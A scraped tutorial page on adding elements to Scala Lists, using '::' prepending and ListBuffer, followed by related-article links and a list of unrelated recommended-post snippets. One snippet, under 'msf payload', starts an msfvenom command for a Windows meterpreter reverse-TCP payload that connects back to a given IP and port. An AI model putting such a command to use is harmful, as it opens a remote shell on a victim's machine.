Scala List FAQ: How do I add elements to a Scala List?

This is actually a trick question, because you can't add elements to a ScalaList; it's an immutable data structure, like a Java String.

Prepending elements to Scala Lists

One thing you can do when working with a Scala List is to create a newList from an existing List. This sort of thing is done often in functional programming, and the general approach looks like this:

scala> val p1 = List("Kim")
p1: List[String] = List(Kim) scala> val p2 = "Julia" :: p1
p2: List[String] = List(Julia, Kim) scala> val p3 = "Judi" :: p2
p3: List[String] = List(Judi, Julia, Kim)

Those examples show how to create a series of lists. The initial list namedp1 contains one string, then p2 contains two strings, and finally p3 contains three strings.

While that approach looks cumbersome in a small example, it makes sense in larger, real-world code. You can see more/better examples of this approach in my tutorial titled, Scala List class examples.

Use a ListBuffer when you want a "List" you can modify

If you want to use a Scala sequence that has many characteristics of a Listand is also mutable (you can add and remove elements in it), use theListBuffer class instead, like this:

import scala.collection.mutable.ListBuffer

var fruits = new ListBuffer[String]()
fruits += "Apple"
fruits += "Banana"
fruits += "Orange"

Then convert it to a List if/when you need to:

val fruitsList = fruits.toList

Scala REPL example

Here's what this List and ListBuffer example looks like using the Scala command line (REPL):

scala> import scala.collection.mutable.ListBuffer
import scala.collection.mutable.ListBuffer scala> var fruits = new ListBuffer[String]()
fruits: scala.collection.mutable.ListBuffer[String] = ListBuffer() scala> fruits += "Apple"
res0: scala.collection.mutable.ListBuffer[String] = ListBuffer(Apple) scala> fruits += "Banana"
res1: scala.collection.mutable.ListBuffer[String] = ListBuffer(Apple, Banana) scala> fruits += "Orange"
res2: scala.collection.mutable.ListBuffer[String] = ListBuffer(Apple, Banana, Orange) scala> val fruitsList = fruits.toList
fruitsList: List[String] = List(Apple, Banana, Orange)
 

More functional ways to work with Scala lists

Depending on your needs, there are other, "more functional" ways to work with Scala lists, and I work through some of those in my Scala List examples. But for my needs today, I just wanted to work with a Scala Listlike I'd work with a Java List (ArrayListLinkedList), and this approach suits me.

How do I add elements to a Scala List?的更多相关文章

  1. How to add elements to a List in Scala

    Scala List FAQ: How do I add elements to a Scala List? This is actually a trick question, because yo ...

  2. openmesh - src - trimesh delete and add elements

    openmesh - src - trimesh delete and add elements openmesh 版本 8.1 About 本文主要介绍openmesh的如下接口 add_verte ...

  3. select 下拉菜单Option对象使用add(elements,index)方法动态添加

    原生js 的add函数为下拉菜单增加选项 1.object.add(oElement [, iIndex]) index 可选参数:指定元素放置所在的索引号,整形值.如果没有指定值,将添加到集合的最后 ...

  4. Beginning Scala study note(6) Scala Collections

    Scala's object-oriented collections support mutable and immutable type hierarchies. Also support fun ...

  5. Spark记录-Scala类和对象

    本章将介绍如何在Scala编程中使用类和对象.类是对象的蓝图(或叫模板).定义一个类后,可以使用关键字new来创建一个类的对象. 通过对象可以使用定义的类的所有功能. 下面的图通过一个包含成员变量(n ...

  6. Scala教程之:可变和不变集合

    文章目录 mutable HashMap immutable HashMap 集合在程序中是非常有用的,只有用好集合才能真正感受到该语言的魅力.在scala中集合主要在三个包里面:scala.coll ...

  7. Beginning Scala study note(9) Scala and Java Interoperability

    1. Translating Java Classes to Scala Classes Example 1: # a class declaration in Java public class B ...

  8. Scala中Zip相关的函数

    在Scala中存在好几个Zip相关的函数,比如zip,zipAll,zipped 以及zipWithIndex等等.我们在代码中也经常看到这样的函数,这篇文章主要介绍一下这些函数的区别以及使用. 1. ...

  9. Scala之List,Set及Map基本操作

    package big.data.analyse.dataSet import scala.collection.immutable.{TreeMap, TreeSet} import scala.c ...

随机推荐

  1. Phpcms没有找到网址列表

    今天在搞phpcms的采集遇到了这个问题. 没有找到网址列表,请先进行网址采集. 百度,google了好久: 网上答案: 方案1 1.尝试清除 v9_collection_history 表里的内容 ...

  2. msf payload

    #clientmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.8.106 LPORT=9999 -e x86/shikata_ga_ ...

  3. eclipse git提交代码

    1.安装git 2.安装好后,进行,一个简单配置,填入我们的用户名和邮箱 >>Preferences>Team>Git>Configuration 设置自定义仓库 3.登 ...

  4. RAM调优之日志分析

    D/dalvikvm: <GC_Reason> <Amount_freed>, <Heap_stats>, <External_memory_stats> ...

  5. HTTP协议详解之基本认证篇

    •什么是HTTP基本认证: 桌面应用程序也通过HTTP协议跟web服务器交互,桌面应用程序一般不会使用cookie,而是把‘用户名+:+密码’用base64编码之后的string放在request中的 ...

  6. 新浪微博api出现认证失败问题 (获取code字段值的问题)

    出现该提示的原因:`` - 说: (2015-10-30 18:06:14)回调地址不一致,`` - 说: (2015-10-30 18:07:38)请在编辑开发者信息中将网站地址和应用信息--高级信 ...

  7. grub安装的 三种安装方式

    1. 引言 grub是什么?最常态的理解,grub是一个bootloader或者是一个bootmanager,通过grub可以引导种类丰富的系统,如linux.freebsd.windows等.但一旦 ...

  8. Xcode编译 No such file or directory

    No such file or directory 差点儿相同算是Xcode比較常见的一个编译错误了.原因往往是加入或删除美术资源的时候出错.尽管是小问题,但出现的频率非常高. 解决方法(能够依次尝试 ...

  9. inet_ntoa 的一个小问题

    一个简单点的阻塞式tcp服务器如下所示: #include <stdio.h> #include <string.h> #include <sys/socket.h> ...

  10. Xcode8的调试技能Memory Graph 实战解决闭包引用循环问题

    Xcode8的调试技能又增加了一个黑科技:Memory Graph.简单的说就是可以在运行时将内存中的对象生成一张图. 那么通过一个实际项目来练习一下吧. 首先我们写了一个自定义UIView:MyVi ...